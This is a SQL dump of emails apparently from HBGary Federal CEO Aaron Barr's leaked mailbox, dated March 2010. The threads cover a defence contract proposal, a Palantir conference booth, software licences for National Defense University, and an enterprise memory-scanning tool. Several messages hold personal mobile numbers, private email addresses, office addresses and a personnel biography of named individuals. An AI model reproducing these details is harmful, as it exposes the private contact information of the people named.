x117\r\n719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',320,'aaron_hbgary_com/320.html'),(4263,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002272.M90111P3547Q4260.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: DCG - bio on Hoglund','From my iPhoneBegin forwarded message:From: &quot;Vela, Ryan&quot; &lt;Ryan.Vela@gd-ais.com&gt;\r\nDate: March 19, 2010 12:59:10 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;\r\nSubject: DCG - bio on Hoglund\r\n\r\n\r\n\r\nAaron,\r\n\r\nI’m using Greg Hoglund as the key person from HBGary. I have a couple questions:\r\n\r\n\r\n1.      What is his % support to the program?\r\n\r\n\r\n2.      What city/state will he be supporting the program?\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4249,'aaron_hbgary_com/4249.html'),(4264,'2010-03-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002272.M925117P3547Q4264.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: New Responder/REcon reports','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes it&#8217;s Greg you need to communicate with not Phil\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 18, 2010 4:48 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: New Responder/REcon reports\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am not communicating this right. &nbsp;What am I missing.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: March 18, 2010 7:15:06 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: New Responder/REcon reports\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron.&nbsp; I don\'t have\r\nanything handy.&nbsp; I\'m working an incident in TX now.&nbsp; I don\'t have any\r\nnew info on reports though.&nbsp; Maybe it\'s something coming in the next\r\nrelease.\r\n\r\n\r\n\r\nOn Thu, Mar 18, 2010 at 1:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Phil,\r\n\r\nPenny mentioned some new reports that are generated from Responder/REcon and\r\nsaid I should check with you to get some copies of some to look at. &nbsp;Do\r\nyou have some handy that you could send to me?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8554,'aaron_hbgary_com/8554.html'),(4265,'2010-03-19','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297002273.M103195P3547Q4265.eml','\"Aaron Barr\" <aaron@hbgary.com>','place of performance for TA1','\r\n\r\n\r\n\r\n\r\nplace of performance for TA1\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI have your corporate location as California, but what is the address where work on TA1 will take place?\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3517,'aaron_hbgary_com/3517.html');
INSERT INTO `emails` VALUES (4266,'2010-03-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002273.M315696P3547Q4266.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,nathan.atherley@gmail.com,ray.owen@comcast.net,\"Lachow, Irving\" <LachowI@ndu.edu>,nathan.atherley@gmail.com','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n&nbsp;\r\n\r\nIt was great to finally meet you too.   I’ll let you know when I’m\r\nout in DC.   I’ll forward info to Greg.  That done, let me introduce you to\r\nAaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.\r\n\r\n&nbsp;\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley.  Irving\r\nis spearheading the development effort which we will be participating with Ray\r\nand Nathan.  I know we’ve tried to get with Ray when he’s out in DC, but feel\r\nfree to contact Irving directly.  He can be reached at 202-903-7722 (mobile) \r\nRay can be reached at 650-464-5570\r\n\r\n&nbsp;\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.  Irving is at National Defense\r\nUniversity.  Irving, the Responder Pro/DDNA is the instructor license. \r\nResponder Field Edition has a malware analysis module and forensic module.  How\r\nmany copies do you need for workstations?  We’ll also send you our training and\r\nsome flip books that allow students to have a take away.  \r\n\r\n&nbsp;\r\n\r\n300 5th Avenue Bldg 62\r\n\r\nMarshall Hall Room 183H\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319-5066\r\n\r\n&nbsp;\r\n\r\nTTYS\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19, 2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi there.&nbsp; Just wanted to thank you all for a very\r\nenjoyable dinner.&nbsp; It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n&nbsp;\r\n\r\nPenny, let me know if you want POCs at Triumfant.&nbsp; Greg\r\nseemed interested in learning more about them.&nbsp; Speaking of Greg, please\r\nforward this to him.&nbsp; When you have a moment, can you connect me with your\r\nFederal team?&nbsp; Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18, 2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, sounds good\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18, 2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don\'t have\r\nto leave for a SFO until 8 or so. \r\n_____________________ \r\nSent from my Blackberry. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n&lt;nathan.atherley@gmail.com&gt; \r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen\r\n&lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner \r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.&nbsp; I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets\r\ngo back to the 6PM dinner time.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s restaurant\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2775,'aaron_hbgary_com/2775.html'),(4267,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002273.M496361P3547Q4267.eml','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,','Re: place of performance for TA1','3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864As we execute some of this work may transition to Colorado Springs, but the above address will be the primary address.As to the last question I think Gregs time will be limited to directing the development team so less than 10%.AaronOn Mar 19, 2010, at 2:09 PM, Vela, Ryan wrote:\r\n\r\nAaron,I have your corporate location as California, but what is the address where work on TA1 will take place?Thanks,Ryan Vela\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4029,'aaron_hbgary_com/4029.html'),(4268,'2010-03-19','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297002273.M689460P3547Q4268.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: place of performance for TA1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, March 19, 2010 2:30 PM\r\nTo: Vela, Ryan\r\nCc: Bob Slapnik; Ted Vera\r\nSubject: Re: place of performance for TA1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n3604 Fair Oaks Blvd Suite 250\r\nSacramento, CA 95864\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nwe execute some of this work may transition to Colorado Springs, but the above\r\naddress will be the primary address.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nto the last question I think Gregs time will be limited to directing the\r\ndevelopment team so less than 10%.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 19, 2010, at 2:09 PM, Vela, Ryan wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI have your\r\ncorporate location as California, but what is the address where work on TA1\r\nwill take place?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan\r\nVela\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15659,'aaron_hbgary_com/15659.html'),(4269,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002273.M903932P3547Q4269.eml','\"Ted Vera\" <ted@hbgary.com>','HBGary Federal Logo','Can you send it to Chris Starr.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4902,'aaron_hbgary_com/4902.html'),(4270,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002274.M100707P3547Q4270.eml','\"Greg Hoglund\" <greg@hbgary.com>','Couple of Questions','1.  Penny said their are some new report formats coming out of Responder or REcon (I can\'t remember which) and that I should ask you for an example copy.\r\n\r\n2. Can you send me an example of a complex trait.  Simple traits, are well, simple to understand.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7544,'aaron_hbgary_com/7544.html'),(4271,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002277.M264031P3547Q4271.eml','\"Timothy Ronan\" <tronan@palantirtech.com>','Aurora Report','\r\n\r\n',11610,'aaron_hbgary_com/11610.html'),(4272,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002277.M503768P3547Q4272.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','RE: Shawn and the Enterprise String Scanner','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s build this new search system into our enterprise\r\nproducts.&nbsp; It clearly adds value and extends the workflow.&nbsp; Maybe we\r\ngive it away for these early consulting engagements, but longer term we add\r\nfeatures to our commercial enterprise products to make them more valuable and\r\nuseful.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, March 19, 2010 11:46 AM\r\nTo: all@hbgary.com\r\nSubject: Shawn and the Enterprise String Scanner\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you Shawn&nbsp;for ninja striking the WMI scans for\r\nRich, Phil,&nbsp;&amp; Foundstone.&nbsp; Not only does this help our\r\nengagement, these scans&nbsp;enable HBGary to show round-trip / close-the-loop\r\nActive Defense/ ePO demo\'s to customers.&nbsp; We can take actionable-intel /\r\nindicators of compromise from a machine that was analyzed with Responder and\r\nrapidly scan the rest of an Enterprise.&nbsp; Once additional machines are\r\nfound, these can be added to the investigation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere are the scans that Shawn has currently delivered with\r\nour tool:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1) scan the enterprise for a registry key\r\n\r\n\r\n\r\n\r\n\r\n2) scan the enterprise for a file\r\n\r\n\r\n\r\n\r\n\r\n3) scan the enterprise for a string in memory\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nShawn\'s command-line tool&nbsp;has a great deal of\r\npotential.&nbsp; New scans are very easy to add.&nbsp; We already discussed\r\nadding full-disk scanning and event log scanning.&nbsp; Shawn and I want this\r\nto be clear: when used to scan the enterprise for strings, this tool\r\n__effectively replaces__ encase, access data, and mandiant MIR.&nbsp; If the\r\ncustomers wants a specific scan we don\'t support, we can add it in a matter of\r\nhours.&nbsp; Also worth noting, we have a higher performance version under\r\ndevelopment that potentially can scan a class-C in less than 5 minutes - thus\r\nenabling the tool to address over 10,000 machines in a single scan.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere are many other variants that we can make.&nbsp; I am\r\nstill in discussion with Penny regarding how and if we want to license\r\nthis&nbsp;capability into DDNA, but for now we are __willing to give away__\r\nthese tools to any prospect interested in Active Defense&nbsp;or&nbsp;ePO.&nbsp;\r\nWe want to remove any barrier&nbsp;to the sale.&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg Hoglund\r\n\r\n\r\n\r\n\r\n\r\nCEO, HBGary, Inc.\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2684,'aaron_hbgary_com/2684.html'),(4273,'2010-03-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002278.M509435P3547Q4273.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Federal Logo','I don\'t have one for Federal.  We just have the HBGary logo.\r\n\r\n\r\n\r\nOn 3/19/10 12:39 PM, Aaron Barr wrote:\r\n> Can you send it to Chris Starr.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',902,'aaron_hbgary_com/902.html'),(4274,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002279.M787429P3547Q4274.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Fwd: HBGary Federal Logo','Nvm just use HBGary logo.AaronFrom my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: March 19, 2010 3:32:37 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: HBGary Federal Logo\r\nI don&#39;t have one for Federal.  We just have the HBGary logo.On 3/19/10 12:39 PM, Aaron Barr wrote:\r\nCan you send it to Chris Starr.Aaron BarrCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',6302,'aaron_hbgary_com/6302.html'),(4275,'2010-03-19','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297002281.M766577P3547Q4275.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Report','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nI would be happy to reserve a booth spot for HGBary at\r\nthe conference.&nbsp; The cyber content you will be able to contribute will be a\r\ngreat addition to the conference.\r\n\r\n&nbsp;\r\n\r\nI\r\nwill need two things from you ASAP and by ASAP I mean in like the next 2\r\nhours.&nbsp; The program guides are going to print and I need:\r\n\r\n-\r\nAn HBGary logo vector image (.ai, .eps, .pdf)\r\n\r\n-\r\n100 word (strictly enforced) company description\r\n\r\n&nbsp;\r\n\r\nI have also attached the conference partner booth guide\r\nto provide setup logistics and answers to many frequently asked questions.\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you have any questions, look\r\nforward to having your company as a participant.\r\n\r\n&nbsp;\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 2:59 PM\r\nTo: Timothy Ronan\r\nSubject: Aurora Report\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8786,'aaron_hbgary_com/8786.html'),(4276,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002283.M28654P3547Q4276.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Aurora Report','Do you have this handy?\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: March 19, 2010 3:36:13 PM EDT\r\n> To: Aaron Barr \r\n> Subject: RE: Aurora Report\r\n> \r\n> Hey Aaron,\r\n>  \r\n> I would be happy to reserve a booth spot for HGBary at the conference.  The cyber content you will be able to contribute will be a great addition to the conference.\r\n>  \r\n> I will need two things from you ASAP and by ASAP I mean in like the next 2 hours.  The program guides are going to print and I need:\r\n> - An HBGary logo vector image (.ai, .eps, .pdf)\r\n> - 100 word (strictly enforced) company description\r\n>  \r\n> I have also attached the conference partner booth guide to provide setup logistics and answers to many frequently asked questions.\r\n>  \r\n> Please let me know if you have any questions, look forward to having your company as a participant.\r\n>  \r\n> Tim\r\n>  \r\n> _________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n> _________________________________________________________\r\n>  \r\n>  \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 19, 2010 2:59 PM\r\n> To: Timothy Ronan\r\n> Subject: Aurora Report\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9374,'aaron_hbgary_com/9374.html'),(4277,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002283.M314321P3547Q4277.eml','\"Ted Vera\" <ted@hbgary.com>','Proposal Template','Do you have an ETA on the template?\r\n\r\nWhat I would like to do is get the proposal out sometime this weekend in the template.  I am going to schedule a pink team review for Monday afternoon.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15833,'aaron_hbgary_com/15833.html'),(4278,'2010-03-19','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002283.M618341P3547Q4278.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: GDAIS Key Personnel Bio','\r\n\r\n\r\n\r\n\r\nFW: GDAIS Key Personnel Bio\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Starr, Christopher H.\r\nSent: Friday, March 19, 2010 4:12 PM\r\nTo: \'Anita D\'Amico\'; \'Frank Zinghini\'\r\nSubject: FW: GDAIS Key Personnel Bio\r\n\r\n\r\n\r\n\r\n\r\nJason Upchurch, Senior Technical Lead for Intrusions Forensics at GDAIS\r\nProposed Role:&nbsp; Principal Investigator&nbsp;\r\nProposed Level of Support:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEducation:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BS, Computer Science, Regis University, 2007&nbsp;&nbsp;&nbsp;\r\nLocation:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Centennial, Colorado&nbsp;&nbsp;&nbsp;\r\nJason has extensive experience as a technical manager and subject matter expert in malware analysis and intrusion forensics. He is currently a senior technical lead for GDAIS Cyber Systems. He is responsible for leading incident response and forensics relating to computer intrusions and reports directly to the Director of Cyber Systems. In addition, he provides mentoring/coaching to other cyber systems personnel, develops automation techniques for digital forensics, and provides training both internally and externally on Malware Analysis and Large Dataset Forensics. He has presented at conferences at the national and international level.\r\n\r\nHe was the technical lead and contract manager for both the Defense Computer Forensics Laboratory (DCFL) Intrusion Section, to include the malware analysis unit, and the contract personnel in the National Cyber Investigative Joint Task Force (NCIJTF) and the Defense Collaborative Investigative Environment (DCISE). He lead the effort for malware analysis development at the DoD Cyber Crime Center and was the center&#8217;s first malware analyst. In these roles he was instrumental in guiding the process for malware analysis and cyber intelligence within the DoD LE/CI community. Jason is a former sworn law enforcement officer and has been conducting computer forensics professionally since 1999.&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16632,'aaron_hbgary_com/16632.html'),(4279,'2010-03-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002290.M611175P3547Q4279.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HB Gary at BlackHat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13432,'aaron_hbgary_com/13432.html'),(4280,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002292.M759361P3547Q4280.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Approach','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, what we reconstruct cannot be executed.&nbsp; We grab the &#8220;livebin&#8221;\r\nfrom memory (an HBGary made up term).&nbsp; I recommend you ask Martin, Shawn or\r\nGreg what actually happens.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 11:17 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Technical Approach\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok what do you mean extract binaries. &nbsp;We discussed\r\nthis but I want to make sure I get it. &nbsp;What we are doing is extracting\r\nthe various pieces of code in memory that represent a single binary and\r\nreconstructing those functions, pointers, etc. into something that looks like\r\nthe binary or is representative of the binary in memory. &nbsp;We don\'t\r\nreconstruct it in the sense that it can be executed...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 8:27 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy comments are to mostly point out things that may be unclear\r\nto the reader&#8230;&#8230;&#8230;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen you say &#8220;combination of static memory and runtime analysis&#8221;\r\nit is a bit unclear mainly because the term &#8220;static memory&#8221; doesn&#8217;t mean\r\nanything unless you define it first.&nbsp; Keep in mind, this whole concept of\r\nrunning the malware, imaging the memory, reconstructing memory, then analyzing\r\nboth the memory image and the extracted binaries is a completely new\r\nparadigm.&nbsp; HBGary invented this methodology so it isn&#8217;t that\r\nwidespread.&nbsp; After we started the trend, Volatility and Memoryze added\r\nfeatures to extract binaries then throw them into IDA Pro.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to see the language make it more clear.&nbsp; Yes, we\r\nstatically analyze memory snapshots and binaries extracted from memory, but I\r\nthink the casual reader will miss the point because we start with live systems\r\nand running malware.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d rather you start off by discussing how traditional r/e\r\nmethods require slow manual processes with expensive, non-scalable and\r\nunreliable experts who understand assembly code and low level OS and network\r\nstuff.&nbsp; This is true for\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional static analysis\r\n(taking files off filesystem, unpacking, IDA Pro, smart analyst), and\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional runtime analysis\r\nusing debuggers.\r\n\r\n\r\n\r\n\r\n\r\nOur approach is different.&nbsp; We run the malware and harvest\r\nlow level runtime data. Then after it has run for time t we suspend the system\r\nand snapshot physical memory.&nbsp; We combine data from the (1) running\r\nmalware over time, (2) the binary at a point in time during execution, and (3)\r\nphysical memory at a point in time.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn the graphic, the words and flow chart don&#8217;t seem to be\r\nconsistent for #4 SAVI.&nbsp; The words say you use it to look at traits and\r\ngenomes once a specimen has been processed, so I would expect to see the\r\nanalysis take place then see its visualization.&nbsp; The arrows are pointing\r\naway from SAVI.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWouldn&#8217;t SAVI be the user interface to the whole system?........\r\nand therefore be where the user runs the system, has the control mechanisms and\r\nsee info and pretty 